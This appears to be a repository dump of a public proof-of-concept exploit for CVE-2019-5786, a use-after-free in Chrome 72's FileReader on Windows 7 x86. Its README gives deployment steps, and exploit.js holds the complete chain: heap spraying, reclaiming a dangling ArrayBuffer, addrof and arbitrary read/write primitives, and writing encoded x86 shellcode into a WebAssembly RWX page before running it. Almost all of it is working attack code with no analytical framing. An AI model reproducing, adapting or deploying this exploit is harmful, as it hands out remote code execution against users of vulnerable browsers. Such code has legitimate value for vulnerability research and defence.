├── worker.js ├── exploit.html ├── README.md ├── iframe.html └── exploit.js /worker.js: -------------------------------------------------------------------------------- 1 | onmessage = function (msg) { 2 | } -------------------------------------------------------------------------------- /exploit.html: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | hi there.. 7 | 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CVE-2019-5786 Chrome 72.0.3626.119 stable FileReader UaF exploit for Windows 7 x86. 2 | 3 | This exploit uses site-isolation to brute-force the vulnerability. iframe.html is the wrapper script that loads the exploit, contained in the other files, repeatedly into an iframe. 4 | 5 | * host iframe.html on one site and exploit.html, exploit.js and wokrer.js on another. Change line 13 in iframe.html to the URL of exploit.html 6 | * start chrome with the --no-sandbox argument 7 | * navigate to iframe.html -------------------------------------------------------------------------------- /iframe.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /exploit.js: -------------------------------------------------------------------------------- 1 | let myWorker = new Worker('worker.js'); 2 | let reader = null; 3 | spray = null; // nested arrays used to hold the sprayed heap contents 4 | let onprogress_cnt = 0; // number of times onprogress was called in a round 5 | let try_cnt = 0; // number of rounds we tried 6 | let last = 0, lastlast = 0; // last two AB results from the read 7 | let tarray = 0; // TypedArray constructed from the dangling ArrayBuffer 8 | const string_size = 128 * 1024 * 1024; 9 | let contents = String.prototype.repeat.call('Z', string_size); 10 | let f = new File([contents], "text.txt"); 11 | const marker1 = 0x36313233; 12 | const marker2 = 0x37414546; 13 | 14 | const outers = 256; 15 | const inners = 1024; 16 | 17 | function allocate_spray_holders() { 18 | spray = new Array(outers); 19 | for (let i = 0; i < outers; i++) { 20 | spray[i] = new Array(inners); 21 | } 22 | } 23 | 24 | function clear_spray() { 25 | for (let i = 0; i < outers; i++) { 26 | for (let j = 0; j < inners; j++) { 27 | spray[i][j] = null; 28 | } 29 | } 30 | } 31 | 32 | function reclaim_mixed() { 33 | // spray the heap to reclaim the freed region 34 | let tmp = {}; 35 | for (let i = 0; i < outers; i++) { 36 | for (let j = 0; j + 2 < inners; j+=3) { 37 | spray[i][j] = {a: marker1, b: marker2, c: tmp}; 38 | spray[i][j].c = spray[i][j] // self-reference to find our absolute address 39 | spray[i][j+1] = new Array(8); 40 | spray[i][j+2] = new Uint32Array(32); 41 | } 42 | } 43 | } 44 | 45 | function find_pattern() { 46 | const start_offset = 0x00afc000 / 4; 47 | for (let i = start_offset; i + 1 < string_size / 4; i++) { 48 | if (i < 50){ 49 | console.log(tarray[i].toString(16)); 50 | } 51 | // multiply by two because of the way SMIs are stored 52 | if (tarray[i] == marker1 * 2) { 53 | if (tarray[i+1] == marker2 * 2) { 54 | console.log(`found possible candidate objectat idx ${i}`); 55 | return i; 56 | } 57 | } 58 | } 59 | return null; 60 | } 61 | 62 | 63 | function get_obj_idx(prop_idx) { 64 | // find the index of the Object in the spray array 65 | tarray[prop_idx] = 0x62626262; 66 | for (let i = 0; i < outers; i++) { 67 | for (let j = 0; j < inners; j+=1) { 68 | try { 69 | if (spray[i][j].a == 0x31313131) { 70 | console.log(`found object idx in the spray array: ${i} ${j}`); 71 | return spray[i][j]; 72 | } 73 | } catch (e) {} 74 | } 75 | } 76 | } 77 | 78 | function ta_read(addr) { 79 | // reads an absolute address through the original freed region 80 | // only works for ta_absolute_addr + string_size (128MiB) 81 | if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) { 82 | return tarray[(addr-ta_absolute_addr)/4]; 83 | } 84 | 85 | return 0; 86 | } 87 | 88 | function ta_write(addr, value) { 89 | // wrtie to an absolute address through the original freed region 90 | // only works for ta_absolute_addr + string_size (128MiB) 91 | if (addr % 4 || value > 2**32 - 1 || 92 | addr < ta_absolute_addr || 93 | addr > ta_absolute_addr + string_size) { 94 | console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`); 95 | } 96 | tarray[(addr-ta_absolute_addr)/4] = value; 97 | } 98 | 99 | function get_corruptable_ui32a() { 100 | // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region 101 | for (let i = 0; i < outers; i++) { 102 | for (let j = 0; j + 2 < inners; j+=3) { 103 | let ui32a_addr = addrof(spray[i][j+2]) - 1; 104 | let bs_addr = ta_read(ui32a_addr + 12) - 1; 105 | let elements_addr = ta_read(ui32a_addr + 8) - 1; 106 | // read its elements pointer 107 | // if the elements ptr lies inside the region we have access to 108 | if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size && 109 | elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) { 110 | console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`); 111 | return { 112 | bs_addr: bs_addr, 113 | elements_addr: elements_addr, 114 | ui32: spray[i][j+2], 115 | i: i, j: j 116 | } 117 | } 118 | } 119 | } 120 | } 121 | 122 | var reader_obj = null; 123 | var object_prop_taidx = null; 124 | var ta_absolute_addr = null; 125 | var aarw_ui32 = null; 126 | 127 | function addrof(leaked_obj) { 128 | reader_obj.a = leaked_obj; 129 | return tarray[object_prop_taidx]; 130 | } 131 | 132 | 133 | function read4(addr) { 134 | // save the old values 135 | let tmp1 = ta_read(aarw_ui32.elements_addr + 12); 136 | let tmp2 = ta_read(aarw_ui32.bs_addr + 16); 137 | 138 | // rewrite the backing store ptr 139 | ta_write(aarw_ui32.elements_addr + 12, addr); 140 | ta_write(aarw_ui32.bs_addr + 16, addr); 141 | 142 | let val = aarw_ui32.ui32[0]; 143 | 144 | ta_write(aarw_ui32.elements_addr + 12, tmp1); 145 | ta_write(aarw_ui32.bs_addr + 16, tmp2); 146 | 147 | return val; 148 | } 149 | 150 | function write4(addr, val) { 151 | // save the old values 152 | let tmp1 = ta_read(aarw_ui32.elements_addr + 12); 153 | let tmp2 = ta_read(aarw_ui32.bs_addr + 16); 154 | 155 | // rewrite the backing store ptr 156 | ta_write(aarw_ui32.elements_addr + 12, addr); 157 | ta_write(aarw_ui32.bs_addr + 16, addr); 158 | 159 | aarw_ui32.ui32[0] = val; 160 | 161 | ta_write(aarw_ui32.elements_addr + 12, tmp1); 162 | ta_write(aarw_ui32.bs_addr + 16, tmp2); 163 | } 164 | 165 | function get_rw() { 166 | // free up as much memory as possible 167 | // spray = null; 168 | // contents = null; 169 | force_gc(); 170 | 171 | // attepmt reclaiming the memory pointed to by dangling pointer 172 | reclaim_mixed(); 173 | 174 | // access the reclaimed region as a Uint32Array 175 | tarray = new Uint32Array(lastlast); 176 | 177 | object_prop_taidx = find_pattern(); 178 | if (object_prop_taidx === null) { 179 | console.log('ERROR> failed to find marker'); 180 | window.top.postMessage(`ERROR> failed to find marker`, '*'); 181 | return; 182 | } 183 | 184 | // leak the absolute address of the Object 185 | const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1; // the third property of the sprayed Object is self-referential 186 | ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4 187 | console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`); 188 | console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`); 189 | 190 | reader_obj = get_obj_idx(object_prop_taidx); 191 | if (reader_obj == undefined) { 192 | console.log(`ERROR> failed to find object`); 193 | window.top.postMessage(`ERROR> failed to find object`, '*'); 194 | return; 195 | } 196 | // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of ta 197 | 198 | console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`); 199 | aarw_ui32 = get_corruptable_ui32a(); 200 | // arbitrary read write up after this point 201 | } 202 | 203 | var wfunc = null; 204 | let meterpreter = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100"); 205 | 206 | function rce() { 207 | function get_wasm_func() { 208 | var importObject = { 209 | imports: { imported_func: arg => console.log(arg) } 210 | }; 211 | bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; 212 | wasm_code = new Uint8Array(bc); 213 | wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); 214 | return wasm_mod.exports.exported_func; 215 | } 216 | 217 | let wasm_func = get_wasm_func(); 218 | wfunc = wasm_func; 219 | // traverse the JSFunction object chain to find the RWX WebAssembly code page 220 | let wasm_func_addr = addrof(wasm_func) - 1; 221 | let sfi = read4(wasm_func_addr + 12) - 1; 222 | let WasmExportedFunctionData = read4(sfi + 4) - 1; 223 | let instance = read4(WasmExportedFunctionData + 8) - 1; 224 | let rwx_addr = read4(instance + 0x74); 225 | 226 | // write the shellcode to the RWX page 227 | if (meterpreter.length % 2 != 0) 228 | meterpreter += "\\u9090"; 229 | 230 | for (let i = 0; i < meterpreter.length; i += 2) { 231 | write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000); 232 | } 233 | 234 | // if we got to this point, the exploit was successful 235 | window.top.postMessage('SUCCESS', '*'); 236 | console.log('success'); 237 | 238 | // invoke the shellcode 239 | window.setTimeout(wfunc, 1000); 240 | } 241 | 242 | function force_gc() { 243 | // forces a garbage collection to avoid OOM kills 244 | try { 245 | var failure = new WebAssembly.Memory({initial: 32767}); 246 | } catch(e) { 247 | // console.log(e.message); 248 | } 249 | } 250 | 251 | function init() { 252 | abs = []; 253 | tarray = 0; 254 | onprogress_cnt = 0; 255 | try_cnt = 0; 256 | last = 0, lastlast = 0; 257 | reader = new FileReader(); 258 | 259 | reader.onloadend = function(evt) { 260 | try_cnt += 1; 261 | failure = false; 262 | 263 | if (onprogress_cnt < 2) { 264 | console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`); 265 | failure = true; 266 | } 267 | 268 | if (lastlast.byteLength != f.size) { 269 | console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`); 270 | failure = true; 271 | } 272 | 273 | if (failure === true) { 274 | console.log('retrying in 1 second'); 275 | window.setTimeout(exploit, 1); 276 | return; 277 | } 278 | 279 | console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`); 280 | 281 | try { 282 | // trigger the FREE 283 | myWorker.postMessage([last], [last, lastlast]); 284 | } catch(e) { 285 | // an exception with this message indicates that the FREE part of the exploit was successful 286 | if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) { 287 | get_rw(); 288 | rce(); 289 | return; 290 | } else { 291 | console.log(e.message); 292 | } 293 | } 294 | } 295 | 296 | reader.onprogress = function(evt) { 297 | force_gc(); 298 | let res = evt.target.result; 299 | // console.log(`onprogress ${onprogress_cnt}`); 300 | onprogress_cnt += 1; 301 | 302 | if (res.byteLength != f.size) { 303 | // console.log(`result has a different size than expected: ${res.byteLength}`); 304 | return; 305 | } 306 | 307 | lastlast = last; 308 | last = res; 309 | } 310 | if (spray === null) { 311 | // allocate the spray holders if needed 312 | allocate_spray_holders(); 313 | } 314 | 315 | // clear the spray holder arrays 316 | clear_spray(); 317 | 318 | // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit 319 | try { 320 | let failure = new ArrayBuffer(1024 * 1024 * 1024); 321 | } catch (e) { 322 | console.log(e.message); 323 | } 324 | 325 | force_gc(); 326 | } 327 | 328 | function exploit() { 329 | init(); 330 | reader.readAsArrayBuffer(f); 331 | console.log(`attempt ${try_cnt} started`); 332 | } 333 | --------------------------------------------------------------------------------